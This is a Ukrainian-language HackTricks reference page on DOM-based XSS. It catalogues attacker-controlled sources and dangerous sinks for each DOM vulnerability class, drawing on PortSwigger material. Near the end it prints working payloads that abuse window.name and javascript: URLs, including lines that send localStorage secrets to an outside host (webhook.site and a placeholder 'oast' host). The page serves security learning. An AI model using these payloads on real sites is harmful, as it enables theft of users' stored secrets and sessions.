DOM XSS

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Уразливості DOM

Уразливості DOM виникають, коли дані, контрольовані атакуючим, з sources (наприклад, location.search, document.referrer, або document.cookie) небезпечно передаються до sinks. Sinks — це функції або об’єкти (наприклад, eval(), document.body.innerHTML), які можуть виконувати або відображати шкідливий вміст при отриманні небезпечних даних.

  • Sources — це вхідні дані, якими може маніпулювати атакуючий, включаючи URLs, cookies та web messages.
  • Sinks — потенційно небезпечні кінцеві точки, куди шкідливі дані можуть призвести до небажаних наслідків, таких як виконання скрипту.

Ризик виникає, коли дані переміщуються від sources до sinks без належної валідації або санітизації, що дозволяє атаки типу XSS.

Tip

Більш оновлений список sources і sinks можна знайти в https://github.com/wisec/domxsswiki/wiki

Типові sources:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

Поширені Sinks:

Open RedirectJavascript InjectionDOM-data manipulationjQuery
locationeval()scriptElement.srcadd()
location.hostFunction() constructorscriptElement.textafter()
location.hostnamesetTimeout()scriptElement.textContentappend()
location.hrefsetInterval()scriptElement.innerTextanimate()
location.pathnamesetImmediate()someDOMElement.setAttribute()insertAfter()
location.searchexecCommand()someDOMElement.searchinsertBefore()
location.protocolexecScript()someDOMElement.textbefore()
location.assign()msSetImmediate()someDOMElement.textContenthtml()
location.replace()range.createContextualFragment()someDOMElement.innerTextprepend()
open()crypto.generateCRMFRequest()someDOMElement.outerTextreplaceAll()
domElem.srcdoc``Local file-path manipulationsomeDOMElement.valuereplaceWith()
XMLHttpRequest.open()FileReader.readAsArrayBuffer()someDOMElement.namewrap()
XMLHttpRequest.send()FileReader.readAsBinaryString()someDOMElement.targetwrapInner()
jQuery.ajax()FileReader.readAsDataURL()someDOMElement.methodwrapAll()
$.ajax()FileReader.readAsText()someDOMElement.typehas()
``Ajax request manipulationFileReader.readAsFile()someDOMElement.backgroundImageconstructor()
XMLHttpRequest.setRequestHeader()FileReader.root.getFile()someDOMElement.cssTextinit()
XMLHttpRequest.open()FileReader.root.getFile()someDOMElement.codebaseindex()
XMLHttpRequest.send()Link manipulationsomeDOMElement.innerHTMLjQuery.parseHTML()
jQuery.globalEval()someDOMElement.hrefsomeDOMElement.outerHTML$.parseHTML()
$.globalEval()someDOMElement.srcsomeDOMElement.insertAdjacentHTMLClient-side JSON injection
``HTML5-storage manipulationsomeDOMElement.actionsomeDOMElement.oneventJSON.parse()
sessionStorage.setItem()XPath injectiondocument.write()jQuery.parseJSON()
localStorage.setItem()document.evaluate()document.writeln()$.parseJSON()
**[**`Denial of Service`**](dom-xss.md#denial-of-service)**someDOMElement.evaluate()document.title``Cookie manipulation
requestFileSystem()``Document-domain manipulationdocument.implementation.createHTMLDocument()document.cookie
RegExp()document.domainhistory.pushState()WebSocket-URL poisoning
Client-Side SQl injectionWeb-message manipulationhistory.replaceState()WebSocket
executeSql()postMessage()````

The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.

Цей тип XSS, ймовірно, є найважчим для виявлення, оскільки потрібно заглянути всередину JS-коду, перевірити, чи він використовує будь-який об’єкт, значення якого ви контролюєте (value you control), і в такому випадку з’ясувати, чи існує будь-який спосіб зловживання ним для виконання довільного JS.

Інструменти для їх пошуку

Приклади

Open Redirect

From: [https://portswigger.net/web-security/dom-based/open-redirection]

Open redirect vulnerabilities in the DOM виникають, коли script записує дані, які attacker може контролювати, у sink, здатний ініціювати навігацію між доменами.

It’s crucial to understand that executing arbitrary code, such as javascript:alert(1), is possible if you have control over the start of the URL where the redirection occurs.

Sinks:

location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

Джерело: https://portswigger.net/web-security/dom-based/cookie-manipulation

DOM-based cookie-manipulation vulnerabilities виникають, коли скрипт вставляє дані, які можуть контролюватися атакуючим, у значення cookie. Ця вразливість може призвести до непередбачуваної поведінки веб-сторінки, якщо cookie використовується в межах сайту. Також її можна використати для проведення session fixation attack, якщо cookie беруть участь у відстеженні сесій користувачів. Основний sink, пов’язаний з цією вразливістю, це:

Sinks:

document.cookie

JavaScript Injection

Джерело: https://portswigger.net/web-security/dom-based/javascript-injection

DOM-based JavaScript injection vulnerabilities виникають, коли script виконує дані, якими може керувати атакуючий, як JavaScript code.

Sinks:

eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()

Document-domain manipulation

From: https://portswigger.net/web-security/dom-based/document-domain-manipulation

Document-domain manipulation vulnerabilities виникають, коли скрипт встановлює властивість document.domain, використовуючи дані, які може контролювати attacker.

Властивість document.domain відіграє ключову роль у застосуванні same-origin policy браузерами. Коли дві сторінки з різних origins встановлюють свій document.domain на одне й те саме значення, вони можуть взаємодіяти без обмежень. Хоча браузери накладають певні обмеження на значення, які можна присвоїти document.domain, запобігаючи присвоєнню повністю не пов’язаних значень реальному origin сторінки, існують винятки. Зазвичай браузери дозволяють використовувати дочірні або батьківські домени.

Sinks:

document.domain

WebSocket-URL poisoning

From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning

WebSocket-URL poisoning виникає, коли скрипт використовує контролювані дані як цільовий URL для WebSocket-з’єднання.

Sinks:

The WebSocket constructor can lead to WebSocket-URL poisoning vulnerabilities.

From: https://portswigger.net/web-security/dom-based/link-manipulation

DOM-based link-manipulation vulnerabilities виникають, коли скрипт записує attacker-controllable data у навігаційну ціль на поточній сторінці, наприклад клікабельне посилання або URL відправлення форми.

Sinks:

someDOMElement.href
someDOMElement.src
someDOMElement.action

Ajax request manipulation

Джерело: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation

Ajax request manipulation vulnerabilities виникають, коли скрипт записує attacker-controllable data into an Ajax request що відправляється за допомогою об’єкта XmlHttpRequest.

Sinks:

XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()

Local file-path manipulation

Джерело: https://portswigger.net/web-security/dom-based/local-file-path-manipulation

Local file-path manipulation vulnerabilities виникають, коли скрипт передає attacker-controllable data to a file-handling API як параметр filename. Цю вразливість може експлуатувати attacker для створення URL, який, якщо його відвідає інший користувач, може призвести до user’s browser opening or writing an arbitrary local file.

Sinks:

FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()

Client-Side SQl injection

Джерело: https://portswigger.net/web-security/dom-based/client-side-sql-injection

Client-side SQL-injection vulnerabilities виникають, коли скрипт включає attacker-controllable data into a client-side SQL query in an unsafe way.

Sinks:

executeSql()

HTML5-storage manipulation

Джерело: https://portswigger.net/web-security/dom-based/html5-storage-manipulation

Уразливості HTML5-storage manipulation виникають, коли скрипт зберігає контрольовані зловмисником дані в браузерне HTML5 storage (localStorage або sessionStorage). Хоча сама по собі ця дія не є вразливістю безпеки, вона стає проблемною, якщо додаток пізніше читає збережені дані й обробляє їх небезпечно. Це може дозволити зловмисникові використати механізм збереження для проведення інших DOM-based атак, таких як cross-site scripting і JavaScript injection.

Sinks:

sessionStorage.setItem()
localStorage.setItem()

XPath injection

From: https://portswigger.net/web-security/dom-based/client-side-xpath-injection

DOM-based XPath-injection vulnerabilities виникають, коли скрипт включає дані, контрольовані атакуючим, у XPath query.

Sinks:

document.evaluate()
someDOMElement.evaluate()

Client-side JSON injection

Джерело: https://portswigger.net/web-security/dom-based/client-side-json-injection

DOM-based JSON-injection vulnerabilities виникають, коли скрипт включає дані, контрольовані атакуючим, у рядок, який розбирається як JSON-структура даних і потім обробляється додатком.

Sinks:

JSON.parse()
jQuery.parseJSON()
$.parseJSON()

Web-message manipulation

From: https://portswigger.net/web-security/dom-based/web-message-manipulation

Web-message vulnerabilities виникають, коли скрипт відправляє дані, контрольовані атакуючим, як web message до іншого документу в браузері. An example of vulnerable Web-message manipulation can be found at PortSwigger’s Web Security Academy.

Sinks:

The postMessage() method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.

DOM-data manipulation

From: https://portswigger.net/web-security/dom-based/dom-data-manipulation

DOM-data manipulation vulnerabilities виникають, коли скрипт записує дані, контрольовані атакуючим, у поле в DOM, яке використовується у видимому UI або клієнтській логіці. Цю вразливість може використати атакуючий, щоб згенерувати URL, який, якщо його відвідає інший користувач, може змінити зовнішній вигляд або поведінку клієнтського UI.

Sinks:

scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()

Denial of Service

Джерело: https://portswigger.net/web-security/dom-based/denial-of-service

DOM-based denial-of-service vulnerabilities виникають, коли скрипт небезпечно передає дані, контрольовані зловмисником, проблемному платформному API. Це включає API, які при виклику можуть призвести до того, що комп’ютер користувача почне споживати надмірні обсяги CPU або дискового простору. Такі вразливості можуть мати значні побічні ефекти, наприклад браузер може обмежити функціональність сайту, відмовляючи у спробах зберегти дані в localStorage або припиняючи виконання зайнятих скриптів.

Sinks:

requestFileSystem()
RegExp()

Dom Clobbering

Dom Clobbering

Неявні глобали та зловживання window.name

Звернення до name без оголошення (var/let/const) відповідає window.name. Оскільки window.name зберігається під час міждоменних навігацій, атакуючий може попередньо заповнити ім’я контексту перегляду HTML/JS і пізніше змусити код жертви відобразити його як довірені дані:

  • Відкрийте/перейдіть до цілі в іменованому контексті, яким ви керуєте:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
  • Або повторно використати window.open з спеціально створеним ім’ям цілі:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")

Якщо додаток пізніше виконує element.innerHTML = name (або подібний sink) без санітизації, рядок window.name, контрольований атакуючим, виконується в цільовому origin, що дозволяє DOM XSS і доступ до same-origin storage.

Адмін/автоматизаційні потоки: попередньо заповнене сховище & javascript: навігація

Автоматизаційні боти (наприклад, Playwright) часто спочатку відвідують внутрішню сторінку, записують секрети в localStorage/cookies, а потім переходять на URL-адреси, надані користувачем. Будь-який DOM XSS primitive (включаючи window.name abuse) у цьому потоці може exfiltrate попередньо записаний секрет:

fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))

Якщо бот не обмежує схеми, передача URL javascript: (javascript:fetch(...)) виконується в поточному origin без нової навігації, безпосередньо leaking значення сховища.

Джерела

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks